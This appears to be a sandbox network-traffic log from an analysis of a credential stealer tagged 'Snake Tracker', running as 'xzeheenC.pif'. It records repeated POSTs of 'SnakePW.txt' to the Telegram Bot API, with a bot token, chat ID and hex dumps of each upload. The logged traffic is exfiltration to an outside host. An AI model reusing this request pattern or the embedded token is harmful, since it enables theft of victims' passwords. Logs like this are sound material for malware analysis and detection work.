2024-12-18 15:17:54 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd211ac1c4f774 Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:54 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 31 61 63 31 63 34 66 37 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd211ac1c4f774Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:17:55 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:55 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:55 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 35 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 37 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418854,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535075,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49905	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:54 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2081d1ada311 Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:54 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 30 38 31 64 31 61 64 61 33 31 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2081d1ada311Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:17:55 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:55 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:55 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 35 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 37 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418855,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535075,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49911	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:56 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd20761e459bea Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:56 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 30 37 36 31 65 34 35 39 62 65 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd20761e459beaContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:17:57 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:57 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:57 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 35 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 37 37 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418858,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535077,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49912	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:56 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd21322c4586e7 Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:56 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 33 32 32 63 34 35 38 36 65 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd21322c4586e7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:17:57 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:57 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:57 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 36 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 37 37 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418861,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535077,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49913	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:57 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2098731e7d87 Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:57 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 30 39 38 37 33 31 65 37 64 38 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2098731e7d87Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:17:57 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:57 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:57 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 36 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 37 37 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418860,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535077,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49919	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:58 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd208e2eaa00de Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:58 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 30 38 65 32 65 61 61 30 30 64 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd208e2eaa00deContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:17:59 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:59 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:59 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 36 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 37 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418866,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535079,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49920	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:58 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd20af00185e1e Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:58 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 30 61 66 30 30 31 38 35 65 31 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd20af00185e1eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:17:59 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:59 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:59 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 36 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 37 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418868,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535079,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49921	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:59 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd214ffb664a86 Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:59 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 34 66 66 62 36 36 34 61 38 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd214ffb664a86Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
